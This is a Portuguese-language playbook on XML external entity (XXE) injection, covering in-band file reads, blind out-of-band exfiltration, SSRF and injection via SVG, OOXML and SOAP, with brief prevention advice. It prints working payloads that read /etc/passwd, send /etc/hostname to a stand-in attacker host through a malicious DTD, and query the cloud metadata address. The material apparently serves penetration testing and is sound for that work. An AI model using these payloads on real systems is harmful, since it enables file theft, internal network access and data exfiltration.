O que xxe-xml-external-entity faz?
Playbook de XXE. Use quando XML, SVG, OOXML, SOAP ou importações orientadas por parser possam resolver entidades externas, arquivos ou recursos internos de rede.
Visão Geral
Este playbook cobre a identificação e exploração de vulnerabilidades de Injeção de Entidade Externa XML (XXE). XXE ocorre quando um parser XML mal configurado processa entidades externas referenciadas em um documento XML, permitindo que um atacante leia arquivos locais, realize ataques de Server-Side Request Forgery (SSRF), ou cause negação de serviço.
Pré-requisitos
- Conhecimento básico de XML e parsers XML.
- Ferramentas:
curl,netcat,Burp Suite(ou similar),xxe-script. - Ambiente de teste isolado (ex: máquina virtual ou Docker).
Técnicas Abordadas
- XXE Básico: Injeção de entidade para leitura de arquivos.
- XXE Cego (Out-of-Band): Exfiltração de dados usando canais HTTP, DNS ou FTP.
- XXE com SSRF: Exploração de parsers para acessar recursos internos.
- XXE em SVG: Injeção em arquivos SVG suportados por navegadores ou visualizadores.
- XXE em OOXML: Injeção em documentos Office Open XML (Word, Excel, PowerPoint).
- XXE em SOAP: Exploração de serviços web que usam SOAP XML.
Exemplos de Payloads
Leitura de Arquivo (In-Band)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
XXE Cego com Exfiltração HTTP
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://atacante.com/coleta.dtd">
%xxe;
]>
<root>&send;</root>
Arquivo coleta.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://atacante.com/coleta?host=%file;'>">
%eval;
SSRF via XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
Detecção e Prevenção
- Desabilitar entidades externas no parser (ex:
libxml_disable_entity_loader(true)no PHP). - Usar DTDs seguras ou validar entrada XML contra um esquema.
- Configurar parsers para não resolver entidades externas.
Ferramentas Úteis
curlouwgetpara enviar payloads.netcatpara capturar requisições de exfiltração.Burp Suitepara interceptar e modificar tráfego.xxe-script(Python) para automatizar testes.